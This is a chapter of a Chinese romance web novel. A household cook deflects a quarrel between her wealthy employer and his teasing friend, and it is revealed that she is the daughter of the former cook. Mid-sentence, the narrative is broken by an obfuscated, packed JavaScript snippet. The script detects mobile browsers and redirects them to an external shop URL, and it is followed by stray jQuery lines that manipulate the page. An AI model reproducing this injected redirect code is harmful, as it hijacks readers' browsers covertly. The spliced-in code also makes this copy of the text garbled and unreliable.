17. 第 17 章
作品:《拥抱饥渴症》 像是宣告所有权般,掷地有声。
餐厅里霎时一片死寂。
姜弥站在不远处,看着眼前这两个气质迥异、各有千秋的男生隔着餐桌开始精神力大战。
一个笑里藏刀,像只盘算着如何偷走对方宝藏的狐狸;一个面沉如水,似栖息于雪山之巅的雪豹,眸子里寒气四溢。
脑子里不合时宜地下起了雨,雨中的广场里,两个男人不知是在跳舞还是在打架,还有一个女孩在旁边,带着哭腔大喊:
“你们不要再打了啦~!”
姜弥眨了眨眼,有点不理解的想:为什么要喊“不要再打了啦”?
那种情况下,难道不是攥紧拳头,在旁边小声鼓劲“打起来!打起来!”
才会更有趣一点吗?
当然,她只敢在心里想想。
现实是,她眼观鼻鼻观心,把自己当成一件没有感情的机器,默默降低存在感。
神仙打架,小鬼遭殃。她只想安稳领薪水,熬完这一年上大学,并不想卷入任何奇怪的争端里去。
周屿显然早已对纪淮野的冷脸免疫,甚至对此乐在其中。他脸上那点惊讶,维持了不到半秒就烟消云散。
“你的?”
他慢悠悠地重复,身体向后,慵懒地靠进椅背,双手交叠放在膝上,像个发现了新玩具的小孩子。
“淮野,你这个‘我的’,范围可有点广啊。是指小厨娘是你的专属员工?还是说……”
他故意停顿,眼尾上挑,笑容越发灿烂。
“还是说,人,是你的?”
就像一粒火星投进油桶。
纪淮野盯着周屿,没有说话。但那沉默本身,就带着强烈的压迫感。
无辜被卷入风暴中心的姜弥,更是眼皮重重一跳。
二位神仙斗法,拿我这区区凡人当道具?
……这就很不讲武德了啊!
就在她以为纪淮野会发火,或者干脆直接让周屿“滚”的时候,纪淮野却忽然笑了。
笑了?
姜弥来到纪家整整一周,还是头一回在这位“阎罗王”脸上看见笑容。
前提是,如果那也能算笑的话。
她心里咯噔一下,升起一股不祥的预感。
完了。
与其被他迁怒,飞来横祸,不如先下手为强。
“少爷,”姜弥当机立断,转移话题道,“饭后甜品,您想吃点什么?”
话头被截,这位爷目光倏地一凛,瞥向她。
她装瞎,对他要杀人的冷眼视而不见,继续问道:“有芒果雪花冰、固体杨枝甘露、冰粉,水果冰淇淋,还有您上次说还不错的旺仔焦糖布丁……您想吃哪一个?”
这一串清凉甜润的名字报出来,果然成功转移了部分注意力。
至少,旁边那位看热闹不嫌事大的周屿,眼睛瞬间就亮了。
他刚放下筷子,这会儿胃里仿佛又腾出了新空间,喉结不自觉地滚了滚,目光灼灼地看向姜弥:“还有这种好东西?能allin吗?”
姜弥瞥了眼纪淮野,然后才转向周屿,微微一笑:“这得看少爷的心情呢。”
台阶给了,主场也还给他了。
果然,吃货都抵挡不住报菜名。在吃的面前,周屿立刻化身狗腿子,蹭到纪淮野身后,捏肩捶腿。
“纪少,你看天气这么热……要不就把刚才姜弥报的那几样,一样来一份?”
纪淮野没答话,只偏过头,凉飕飕地扫了周屿一眼。周屿搭在他肩上的手立刻僵住,讪讪地收了回去。
“布丁。”少爷惜字如金。
周屿:“……就、就一份?”
纪淮野站起身,走向旋转楼梯。
“他的那份,”他没回头,“做小。”
周屿:“……”
姜弥忍着笑,应了声“是”,转身就往厨房走。
刚走出两步,就听见身后周屿委屈撒娇哀嚎,以及纪淮野不轻不重的打断施法:
“顺便,把上个月从我这儿顺走的那个打火机送回来。”
“……那是你送我的!”
“我后悔了。”
“……”
她回头时,看见周屿捂着胸口跟在纪淮野身后上楼,焉吧啦叽的,像是遭受了巨大打击。
——
姜弥端着甜品上楼时,周屿正和纪淮野并排坐在地毯上,两人手里都握着游戏手柄,电视屏幕里两个像素小人正打得不可开交。
“不是说只要布丁?”
纪淮野瞥了一眼托盘,上面多出了几样。都是她刚才报过的名字。
“单吃布丁容易腻,夏天配些冰的会更爽口。”姜弥将托盘轻放在边几上,补充道,“按您交代的,周少爷那份布丁是小份。”
听到后半句话,纪淮野才点了下头,神情舒展。
周屿的像素小人儿正好被一击K.O,他泄气地“啧”了一声,视线一偏,便黏在了纪淮野手边那盏可口的布丁上。
再低头看看递到自己面前的,脑袋一下就委屈地耷拉下来。可目光扫到边几上那几样,那点委屈瞬间又被亮晶晶的期待取代了。
周屿舀了一勺布丁送进嘴里,含含糊糊地开口,“姜弥,你有男朋友吗?”
姜弥一愣:“没,没有。”
“那你要不要考虑一下,跟我谈恋爱啊?”
姜弥正收拾托盘,手微微一顿。
见她没应声,周屿只当是女孩家脸皮薄不好意思,咽下嘴里的布丁,便开始热切地自我推销起来:“我这个人优点可多了,特别专一,逢年过节包包首饰化妆品一样不少,24小时随叫随到,保证绝对的五好男友!”
他兴致勃勃地说了一通,姜弥才缓缓侧过身,抬眼看向他,眸色平静无波:“周少爷绕了这么大一个圈子……是想要我天天给你做饭吧?”
小算盘被当面揭穿,周屿脸上的笑容霎时僵住。
“我有竞业协议在身。”姜弥直起身,语气温和,“合同期内,周少爷真想点单,可以直接跟少爷这边谈。”
说完,她便端着空托盘转身下楼。
纪淮野瞥了一眼难得在女生面前吃瘪、呆若木鸡的好友,嘴角微不可察地扬了一下。
走到楼梯口,姜弥想起什么,脚步稍顿,侧过脸。
“少爷,水果冰淇淋容易化,我放在冷柜最上层了。您想吃的时候,发消息给我,或者直接去取都可以。”
纪淮野动了动眉梢,听懂她的言外之意——接下来是我的休息时间,没事别来打扰。
“嗯。”他应了一声,语气很淡,“忙你的去吧。”
——
收拾完厨房,口袋里的手机震动起来。
姜弥擦干手,掏出手机一看,是妈妈打来的视频电话。她快步走到餐厅坐下,接了起来。
屏幕上出现妈妈温暖的笑脸:“弥弥,吃饭了吗?”
“刚收拾完,吃过了。”姜弥放松地靠在椅背上,声音柔和下来。
母女俩正聊着家常,楼梯上传来脚步声。
周屿晃悠下来,径直走向厨房方向,大概是惦记着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098901|194410||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冷柜里的水果冰淇淋。路过餐厅时,他无意间瞥见了姜弥手机屏幕,脚步猛地顿住。
“许姨?”他凑近两步,惊讶地睁大眼睛。
视频那头的姜妈妈也认出了他,笑着打招呼:“是小屿少爷啊!好久不见,又帅了很多呢。”
“许姨您还是这么年轻!”周屿嘴甜地回应,“手臂好些了吗?”
“嗯,好多了。”
两人隔着屏幕热络的聊起来。
一旁举着手机的姜弥:“……”
周屿像是终于感受姜弥的白眼,随即看向姜弥,恍然大悟,“原来你是许姨的女儿!怪不得厨艺这么好!”
姜弥皮笑肉不笑,没多说。
周屿又寒暄了两句,便心痒难耐地溜去拿冰淇淋了。
回到楼上,他递了一支芒果味的给纪淮野,自己撕开草莓味的,边吃边含糊地说:“淮野,等许姨的伤养好了,你让姜弥来我家呗?实在不行,你把许姨让给我也行啊。总不能母女两位大厨,都让你一个人占着吧。”
纪淮野咬了一口雪糕,滑着手机的手指顿住。
“你刚才说什么?”
“我说你让姜弥来我家,实在不行把许姨让给我。”
“下一句。”纪淮野惜字如金,语气冷淡。
周屿摸不准这位爷突然闹什么情绪,试探地重复:“总不能母女两位大厨……?”
“你说,姜弥是许姨的女儿?”纪淮野抬起眼,目光落在他脸上。
“是啊。刚才下楼,正好撞见姜弥在和许姨打视频呢。”周屿看着纪淮野的神色变化,后知后觉地问了一句,“怎么,你……不知道?”
纪淮野没说话。半晌,他放下冰淇淋,站起身朝楼下走去。
“哎——”周屿看着他被留在茶几上雪糕,喊了一声,“你这不吃了?多浪费啊……”
话音未落,楼梯口已经没了人影。
周屿耸耸肩。本着不浪费食物的原则,他伸手把纪淮野那支也拿了过来,左一口右一口,吃得心满意足,含糊地嘟囔着:“别说,这手工做的就是比外面卖的好吃……”
——
姜弥刚和妈妈结束通话,刚走到自己房门口,就听见楼梯方向传来急促的脚步声。
她下意识抬头,看见纪淮野出现在楼梯口,径直朝她走过来,脸色微沉。
“出什么事了,少爷?”
“你是许姨的女儿?”他停在她面前,开口问道。
姜弥怔了怔,没料到他会突然问这个,但还是点了点头:“是。”
“为什么没早说?”他声音有些紧。
“合同里没有要求汇报家庭成员,您也没问。”姜弥回答得坦然,“这会影响我的工作吗,少爷?”
纪淮野一时语塞。
就在这时,楼梯那边再次响起脚步声,伴随着他雀跃的嚷嚷:“淮野,你在厨房吗?那个冰淇淋真是绝了!你顺便再……”
纪淮野想也没想,一把将姜弥推进她虚掩的房门,自己也闪身跟了进去,反手带上了门。
“咦……?人呢?”走廊上,周屿的脚步声和哼唱声渐近,又毫无所觉地经过,慢慢远去了,大概是直奔厨房的冷柜而去。
房间里没有开灯,窗帘半掩,只透进来稀薄的天光,勾勒出模糊的家具轮廓。
姜弥的后背轻抵着墙壁,身前是少年颀长的身影。他微微弓着脊背,一只手臂撑在她耳侧的门上,气息拂过她的额发。
她惊魂未定,在昏暗中抬起头:
“少爷,您这是……?”

